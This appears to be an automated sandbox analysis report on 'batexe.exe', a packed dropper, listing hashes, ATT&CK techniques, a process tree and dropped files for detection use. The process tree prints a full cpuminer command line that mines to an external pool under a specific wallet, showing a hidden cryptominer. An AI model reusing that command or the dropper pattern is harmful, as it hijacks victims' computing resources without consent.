73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
298s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
17/02/2024, 10:47

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
6072	b2e.exe
5528	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
5528	cpuminer-sse2.exe
5528	cpuminer-sse2.exe
5528	cpuminer-sse2.exe
5528	cpuminer-sse2.exe
5528	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2032-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2032 wrote to memory of 6072	2032	batexe.exe	85
PID 2032 wrote to memory of 6072	2032	batexe.exe	85
PID 2032 wrote to memory of 6072	2032	batexe.exe	85
PID 6072 wrote to memory of 1044	6072	b2e.exe	86
PID 6072 wrote to memory of 1044	6072	b2e.exe	86
PID 6072 wrote to memory of 1044	6072	b2e.exe	86
PID 1044 wrote to memory of 5528	1044	cmd.exe	89
PID 1044 wrote to memory of 5528	1044	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2032
- C:\Users\Admin\AppData\Local\Temp\5DC0.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5DC0.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5DC0.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:6072
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\6012.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1044
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5528

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\5DC0.tmp\b2e.exe

Filesize
957KB

MD5
263d046305d88a321a2c15e807b5e144

SHA1
dc8724c8ff0d3f4d1b9668aef733d9ee8f419f99

SHA256
1ff16405c5fbda781c6f61cfa6ebcc3d7ab3bd29eaa47ce24bc73b56f7189067

SHA512
f07ab90e9372a86fccd9b6179224b260e0a51fa85e5a38cb4fdbb248f5993bdf65909d752a5acdf3857dc1bf1fc13a0107b747ab7b34890537b550f4850ae1c2

Download Submit
C:\Users\Admin\AppData\Local\Temp\5DC0.tmp\b2e.exe

Filesize
3.5MB

MD5
ca36d66ee14f1871a3b3ad489bff9493

SHA1
cbc1ffe5ba79500b91e6dd2b1cf6cbaa1e821bec

SHA256
4cbf6e7c7fbc2fb0b7b335ae686cc26d7ccdcd7f6dd9f3e2b4a168a42aa61600

SHA512
bb6439a4af7324558ec9a5b947b82cbb5276a8427c28ef0e6d1382fb4722528054e41f26141470dc4176ce8e37ed46309cd69f1757b86836ec48bec5b276510d

Download Submit
C:\Users\Admin\AppData\Local\Temp\5DC0.tmp\b2e.exe

Filesize
3.9MB

MD5
d61671c4b5a1506f82c4387c48b6dc73

SHA1
c3f4055401f1f7ac25f5e9d0595c703fd4b4f0ca

SHA256
13945afd28d3228b9e355fe34f5745daf30be9d87ff3317b0f60c2e92a3f0d72

SHA512
fa4e8271436d2c42da88fc9d3abb81d52a55626d7cb212de2a627d7bdf602bb62cf8f5096ab9a3f4c9ee87a1235d7f79ee634ef437bdae05a4eb3cd5a70bbfa3

Download Submit
C:\Users\Admin\AppData\Local\Temp\6012.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.6MB

MD5
16fa3cb783ff28393b65e1036a36ea28

SHA1
acb20582d44536adbf459ff40dfd57f566fa2281

SHA256
3797a692945a51167132fa9e730495e42ebb6ea67abc69621cccd9324f8d2447

SHA512
a06cbe2d8d68a6dbdd0fea72087e094187afe780c8bd9b545f1479515e8b6b6ef2e535feb970dbcb153ee6826bd0a9fdc745a7d320e49160afbb9b8863bda8c9

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.0MB

MD5
6475fda9f87b989077b7b84f1d96d85c

SHA1
6903809c5af1fb393440d4548a2453fd4d8bd6ee

SHA256
bf4351b3ee6ce7f39a8d97d3706983d3a8d81152e9a686fd677fc49ae299bb9d

SHA512
3fc82e9738d5217c038708b4bcf8dd7114ad8464bd20c0ea8a51c8e647cc4a804d80d1152bb89ab014f084b24d62d6c0b008f5fc9cb5bcaab968ea854704749d

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.3MB

MD5
9ae9df02fe2ec95db1d03b7fa2408758

SHA1
ad759639a0308c7caacbb723be30b1aae0b939c3

SHA256
bf06a85ab69ea26d472dd1f9b08985fce5e2d65082da5f11399e45726e5b781f

SHA512
2ad4971dcbaaeffb3e1db252d3211dad6912f584421ad1836f62a86701300f9eb558504fb437b4f1ab3200e340d5fbe672d9c3f9afd1d41a6cabedc269422fc2

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.7MB

MD5
eefd3ace302b3ae0baa45e463348f02f

SHA1
ad37c66d946701cca64640a93809b23fadbedeaa

SHA256
9e189d6573a1834a26e804f7e36eb15adf6914979b4fedb63d44a32d0c85e522

SHA512
b00aa111e2f5f6a7b6511592192aa395f447ead99c2086d7b01c7f31437156bebd4ddfbe95586e5653ef0800dc15440e0a3c328b1f9d1780802b9272d144e0da

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
2.6MB

MD5
6156e0ee3c952b18dc1ece593bb7f1e3

SHA1
4acc3fdee76b7b7d0c7c751b8641aa24832877cd

SHA256
b03b93f4237e69df27e6472a7e8358e38596dcf6b1bcb8a80774669c28145aa0

SHA512
78020e520e8d84f46fc459dad142e72ed4f796161d5a339f16348e9891f81dfcb25a206198da7a76ff75da9d1482b97c48ec129934b59ae2a24892cef39a3628

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/2032-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/5528-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5528-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5528-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/5528-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/5528-45-0x00000000721E0000-0x0000000072278000-memory.dmp

Filesize
608KB

Download
memory/5528-47-0x0000000001130000-0x00000000029E5000-memory.dmp

Filesize
24.7MB

Download
memory/5528-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5528-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5528-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5528-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5528-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5528-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5528-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5528-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5528-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5528-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/6072-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/6072-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download